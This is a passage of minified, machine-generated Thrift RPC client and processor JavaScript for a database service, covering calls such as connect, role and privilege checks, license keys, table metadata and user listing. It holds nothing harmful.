h.writeMessageBegin("get_all_effective_roles_for_user",a.MessageType.CALL,this.seqid()),_.write(h),h.writeMessageEnd(),this.output.flush()}catch(v){throw delete this._reqs[this.seqid()],typeof h.reset=="function"&&h.reset(),v}}recv_get_all_effective_roles_for_user(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new yg;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("get_all_effective_roles_for_user failed: unknown result")}has_role(w,g,h){this._seqid=this.new_seqid();const T=this;return new Promise((_,v)=>{T._reqs[T.seqid()]=(B,Q)=>B?v(B):_(Q),T.send_has_role(w,g,h)})}send_has_role(w,g,h){const T=new this.pClass(this.output),_={session:w,granteeName:g,roleName:h},v=new yk(_);try{return T.writeMessageBegin("has_role",a.MessageType.CALL,this.seqid()),v.write(T),T.writeMessageEnd(),this.output.flush()}catch(B){throw delete this._reqs[this.seqid()],typeof T.reset=="function"&&T.reset(),B}}recv_has_role(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new mg;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("has_role failed: unknown result")}has_object_privilege(w,g,h,T,_){this._seqid=this.new_seqid();const v=this;return new Promise((B,Q)=>{v._reqs[v.seqid()]=(pe,$e)=>pe?Q(pe):B($e),v.send_has_object_privilege(w,g,h,T,_)})}send_has_object_privilege(w,g,h,T,_){const v=new this.pClass(this.output),B={session:w,granteeName:g,ObjectName:h,objectType:T,permissions:_},Q=new mk(B);try{return v.writeMessageBegin("has_object_privilege",a.MessageType.CALL,this.seqid()),Q.write(v),v.writeMessageEnd(),this.output.flush()}catch(pe){throw delete this._reqs[this.seqid()],typeof v.reset=="function"&&v.reset(),pe}}recv_has_object_privilege(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new wg;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("has_object_privilege failed: unknown result")}set_license_key(w,g,h){this._seqid=this.new_seqid();const T=this;return new Promise((_,v)=>{T._reqs[T.seqid()]=(B,Q)=>B?v(B):_(Q),T.send_set_license_key(w,g,h)})}send_set_license_key(w,g,h){const T=new this.pClass(this.output),_={session:w,key:g,nonce:h},v=new wk(_);try{return T.writeMessageBegin("set_license_key",a.MessageType.CALL,this.seqid()),v.write(T),T.writeMessageEnd(),this.output.flush()}catch(B){throw delete this._reqs[this.seqid()],typeof T.reset=="function"&&T.reset(),B}}recv_set_license_key(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new Lg;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("set_license_key failed: unknown result")}get_license_claims(w,g){this._seqid=this.new_seqid();const h=this;return new Promise((T,_)=>{h._reqs[h.seqid()]=(v,B)=>v?_(v):T(B),h.send_get_license_claims(w,g)})}send_get_license_claims(w,g){const h=new this.pClass(this.output),T={session:w,nonce:g},_=new Lk(T);try{return h.writeMessageBegin("get_license_claims",a.MessageType.CALL,this.seqid()),_.write(h),h.writeMessageEnd(),this.output.flush()}catch(v){throw delete this._reqs[this.seqid()],typeof h.reset=="function"&&h.reset(),v}}recv_get_license_claims(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new bg;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("get_license_claims failed: unknown result")}get_device_parameters(w){this._seqid=this.new_seqid();const g=this;return new Promise((h,T)=>{g._reqs[g.seqid()]=(_,v)=>_?T(_):h(v),g.send_get_device_parameters(w)})}send_get_device_parameters(w){const g=new this.pClass(this.output),h={session:w},T=new bk(h);try{return g.writeMessageBegin("get_device_parameters",a.MessageType.CALL,this.seqid()),T.write(g),g.writeMessageEnd(),this.output.flush()}catch(_){throw delete this._reqs[this.seqid()],typeof g.reset=="function"&&g.reset(),_}}recv_get_device_parameters(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new Tg;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("get_device_parameters failed: unknown result")}register_runtime_extension_functions(w,g,h,T){this._seqid=this.new_seqid();const _=this;return new Promise((v,B)=>{_._reqs[_.seqid()]=(Q,pe)=>Q?B(Q):v(pe),_.send_register_runtime_extension_functions(w,g,h,T)})}send_register_runtime_extension_functions(w,g,h,T){const _=new this.pClass(this.output),v={session:w,udfs:g,udtfs:h,device_ir_map:T},B=new Tk(v);try{return _.writeMessageBegin("register_runtime_extension_functions",a.MessageType.CALL,this.seqid()),B.write(_),_.writeMessageEnd(),this.output.flush()}catch(Q){throw delete this._reqs[this.seqid()],typeof _.reset=="function"&&_.reset(),Q}}recv_register_runtime_extension_functions(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new vg;if(_.read(w),w.readMessageEnd(),_.e!==null)return T(_.e);T(null)}get_table_function_names(w){this._seqid=this.new_seqid();const g=this;return new Promise((h,T)=>{g._reqs[g.seqid()]=(_,v)=>_?T(_):h(v),g.send_get_table_function_names(w)})}send_get_table_function_names(w){const g=new this.pClass(this.output),h={session:w},T=new vk(h);try{return g.writeMessageBegin("get_table_function_names",a.MessageType.CALL,this.seqid()),T.write(g),g.writeMessageEnd(),this.output.flush()}catch(_){throw delete this._reqs[this.seqid()],typeof g.reset=="function"&&g.reset(),_}}recv_get_table_function_names(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new Eg;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("get_table_function_names failed: unknown result")}get_runtime_table_function_names(w){this._seqid=this.new_seqid();const g=this;return new Promise((h,T)=>{g._reqs[g.seqid()]=(_,v)=>_?T(_):h(v),g.send_get_runtime_table_function_names(w)})}send_get_runtime_table_function_names(w){const g=new this.pClass(this.output),h={session:w},T=new Ek(h);try{return g.writeMessageBegin("get_runtime_table_function_names",a.MessageType.CALL,this.seqid()),T.write(g),g.writeMessageEnd(),this.output.flush()}catch(_){throw delete this._reqs[this.seqid()],typeof g.reset=="function"&&g.reset(),_}}recv_get_runtime_table_function_names(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new Sg;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("get_runtime_table_function_names failed: unknown result")}get_table_function_details(w,g){this._seqid=this.new_seqid();const h=this;return new Promise((T,_)=>{h._reqs[h.seqid()]=(v,B)=>v?_(v):T(B),h.send_get_table_function_details(w,g)})}send_get_table_function_details(w,g){const h=new this.pClass(this.output),T={session:w,udtf_names:g},_=new Sk(T);try{return h.writeMessageBegin("get_table_function_details",a.MessageType.CALL,this.seqid()),_.write(h),h.writeMessageEnd(),this.output.flush()}catch(v){throw delete this._reqs[this.seqid()],typeof h.reset=="function"&&h.reset(),v}}recv_get_table_function_details(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new xg;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("get_table_function_details failed: unknown result")}},d.Processor=class{constructor(w){this._handler=w}process(w,g){const h=w.readMessageBegin();if(this["process_"+h.fname])return this["process_"+h.fname].call(this,h.rseqid,w,g);{w.skip(a.Type.STRUCT),w.readMessageEnd();const T=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN_METHOD,"Unknown function "+h.fname);g.writeMessageBegin(h.fname,a.MessageType.EXCEPTION,h.rseqid),T.write(g),g.writeMessageEnd(),g.flush()}}process_connect(w,g,h){const T=new b;T.read(g),g.readMessageEnd(),this._handler.connect.length===3?Promise.resolve(this._handler.connect.bind(this._handler)(T.user,T.passwd,T.dbname)).then(_=>{const v=new L({success:_});h.writeMessageBegin("connect",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new L(_),h.writeMessageBegin("connect",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("connect",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.connect(T.user,T.passwd,T.dbname,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new L(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("connect",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("connect",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_krb5_connect(w,g,h){const T=new E;T.read(g),g.readMessageEnd(),this._handler.krb5_connect.length===2?Promise.resolve(this._handler.krb5_connect.bind(this._handler)(T.inputToken,T.dbname)).then(_=>{const v=new S({success:_});h.writeMessageBegin("krb5_connect",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new S(_),h.writeMessageBegin("krb5_connect",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("krb5_connect",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.krb5_connect(T.inputToken,T.dbname,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new S(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("krb5_connect",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("krb5_connect",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_disconnect(w,g,h){const T=new x;T.read(g),g.readMessageEnd(),this._handler.disconnect.length===1?Promise.resolve(this._handler.disconnect.bind(this._handler)(T.session)).then(_=>{const v=new F({success:_});h.writeMessageBegin("disconnect",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new F(_),h.writeMessageBegin("disconnect",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("disconnect",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.disconnect(T.session,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new F(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("disconnect",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("disconnect",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_switch_database(w,g,h){const T=new k;T.read(g),g.readMessageEnd(),this._handler.switch_database.length===2?Promise.resolve(this._handler.switch_database.bind(this._handler)(T.session,T.dbname)).then(_=>{const v=new M({success:_});h.writeMessageBegin("switch_database",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new M(_),h.writeMessageBegin("switch_database",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("switch_database",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.switch_database(T.session,T.dbname,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new M(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("switch_database",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("switch_database",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_clone_session(w,g,h){const T=new O;T.read(g),g.readMessageEnd(),this._handler.clone_session.length===1?Promise.resolve(this._handler.clone_session.bind(this._handler)(T.session)).then(_=>{const v=new C({success:_});h.writeMessageBegin("clone_session",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new C(_),h.writeMessageBegin("clone_session",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("clone_session",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.clone_session(T.session,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new C(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("clone_session",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("clone_session",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_get_server_status(w,g,h){const T=new P;T.read(g),g.readMessageEnd(),this._handler.get_server_status.length===1?Promise.resolve(this._handler.get_server_status.bind(this._handler)(T.session)).then(_=>{const v=new j({success:_});h.writeMessageBegin("get_server_status",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new j(_),h.writeMessageBegin("get_server_status",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_server_status",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.get_server_status(T.session,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new j(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("get_server_status",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_server_status",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_get_status(w,g,h){const T=new R;T.read(g),g.readMessageEnd(),this._handler.get_status.length===1?Promise.resolve(this._handler.get_status.bind(this._handler)(T.session)).then(_=>{const v=new H({success:_});h.writeMessageBegin("get_status",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new H(_),h.writeMessageBegin("get_status",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_status",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.get_status(T.session,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new H(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("get_status",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_status",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_get_hardware_info(w,g,h){const T=new z;T.read(g),g.readMessageEnd(),this._handler.get_hardware_info.length===1?Promise.resolve(this._handler.get_hardware_info.bind(this._handler)(T.session)).then(_=>{const v=new Y({success:_});h.writeMessageBegin("get_hardware_info",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new Y(_),h.writeMessageBegin("get_hardware_info",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_hardware_info",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.get_hardware_info(T.session,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new Y(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("get_hardware_info",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_hardware_info",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_get_tables(w,g,h){const T=new $;T.read(g),g.readMessageEnd(),this._handler.get_tables.length===1?Promise.resolve(this._handler.get_tables.bind(this._handler)(T.session)).then(_=>{const v=new W({success:_});h.writeMessageBegin("get_tables",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new W(_),h.writeMessageBegin("get_tables",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_tables",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.get_tables(T.session,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new W(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("get_tables",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_tables",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_get_tables_for_database(w,g,h){const T=new X;T.read(g),g.readMessageEnd(),this._handler.get_tables_for_database.length===2?Promise.resolve(this._handler.get_tables_for_database.bind(this._handler)(T.session,T.database_name)).then(_=>{const v=new G({success:_});h.writeMessageBegin("get_tables_for_database",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new G(_),h.writeMessageBegin("get_tables_for_database",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_tables_for_database",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.get_tables_for_database(T.session,T.database_name,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new G(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("get_tables_for_database",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_tables_for_database",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_get_physical_tables(w,g,h){const T=new oe;T.read(g),g.readMessageEnd(),this._handler.get_physical_tables.length===1?Promise.resolve(this._handler.get_physical_tables.bind(this._handler)(T.session)).then(_=>{const v=new he({success:_});h.writeMessageBegin("get_physical_tables",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new he(_),h.writeMessageBegin("get_physical_tables",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_physical_tables",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.get_physical_tables(T.session,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new he(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("get_physical_tables",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_physical_tables",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_get_views(w,g,h){const T=new ie;T.read(g),g.readMessageEnd(),this._handler.get_views.length===1?Promise.resolve(this._handler.get_views.bind(this._handler)(T.session)).then(_=>{const v=new Oe({success:_});h.writeMessageBegin("get_views",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new Oe(_),h.writeMessageBegin("get_views",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_views",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.get_views(T.session,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new Oe(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("get_views",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_views",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_get_tables_meta(w,g,h){const T=new de;T.read(g),g.readMessageEnd(),this._handler.get_tables_meta.length===1?Promise.resolve(this._handler.get_tables_meta.bind(this._handler)(T.session)).then(_=>{const v=new Me({success:_});h.writeMessageBegin("get_tables_meta",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new Me(_),h.writeMessageBegin("get_tables_meta",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_tables_meta",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.get_tables_meta(T.session,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new Me(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("get_tables_meta",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_tables_meta",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_get_table_details(w,g,h){const T=new Fe;T.read(g),g.readMessageEnd(),this._handler.get_table_details.length===2?Promise.resolve(this._handler.get_table_details.bind(this._handler)(T.session,T.table_name)).then(_=>{const v=new Ge({success:_});h.writeMessageBegin("get_table_details",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new Ge(_),h.writeMessageBegin("get_table_details",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_table_details",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.get_table_details(T.session,T.table_name,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new Ge(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("get_table_details",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_table_details",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_get_table_details_for_database(w,g,h){const T=new pt;T.read(g),g.readMessageEnd(),this._handler.get_table_details_for_database.length===3?Promise.resolve(this._handler.get_table_details_for_database.bind(this._handler)(T.session,T.table_name,T.database_name)).then(_=>{const v=new ht({success:_});h.writeMessageBegin("get_table_details_for_database",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new ht(_),h.writeMessageBegin("get_table_details_for_database",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_table_details_for_database",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.get_table_details_for_database(T.session,T.table_name,T.database_name,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new ht(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("get_table_details_for_database",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_table_details_for_database",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_get_internal_table_details(w,g,h){const T=new ge;T.read(g),g.readMessageEnd(),this._handler.get_internal_table_details.length===3?Promise.resolve(this._handler.get_internal_table_details.bind(this._handler)(T.session,T.table_name,T.include_system_columns)).then(_=>{const v=new V({success:_});h.writeMessageBegin("get_internal_table_details",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new V(_),h.writeMessageBegin("get_internal_table_details",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_internal_table_details",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.get_internal_table_details(T.session,T.table_name,T.include_system_columns,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new V(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("get_internal_table_details",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_internal_table_details",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_get_internal_table_details_for_database(w,g,h){const T=new q;T.read(g),g.readMessageEnd(),this._handler.get_internal_table_details_for_database.length===3?Promise.resolve(this._handler.get_internal_table_details_for_database.bind(this._handler)(T.session,T.table_name,T.database_name)).then(_=>{const v=new D({success:_});h.writeMessageBegin("get_internal_table_details_for_database",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new D(_),h.writeMessageBegin("get_internal_table_details_for_database",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_internal_table_details_for_database",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.get_internal_table_details_for_database(T.session,T.table_name,T.database_name,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new D(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("get_internal_table_details_for_database",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_internal_table_details_for_database",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_get_users(w,g,h){const T=new K;T.read(g),g.readMessageEnd(),this._handler.get_users.length===1?Promise.resolve(this._handler.get_users.bind(this._handler)(T.session)).then(_=>{const v=new J({success:_});h.writeMessageBegin("get_users",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new J(_),h.writeMessageBegin("get_users",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_users",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.get_users(T.session,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new J(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("get_users",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_users",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_get_databases(w,g,h){const T=new re;T.read(g),g.readMessageEnd(),this._handler.get_databases.length===1?Promise.resolve(this._handler.get_databases.bind(this._handler)(T.session)).then(_=>{const v=new se({success:_});h.writeMessageBegin("get_databases",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new se(_),h.writeMessageBegin("get_databases",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_databases",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.get_databases(T.session,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new se(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("get_databases",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_databases",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_get_version(w,g,h){new _e().read(g),g.readMessageEnd(),this._handler.get_version.length===0?Promise.resolve(this._handler.get_version.bind(this._handler)()).then(_=>{const v=new be({success:_});h.writeMessageBegin("get_version",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new be(_),h.writeMessageBegin("get_version",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_version",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.get_version((_,v)=>{let B;_===null||typeof _>"u"||_ instanceof 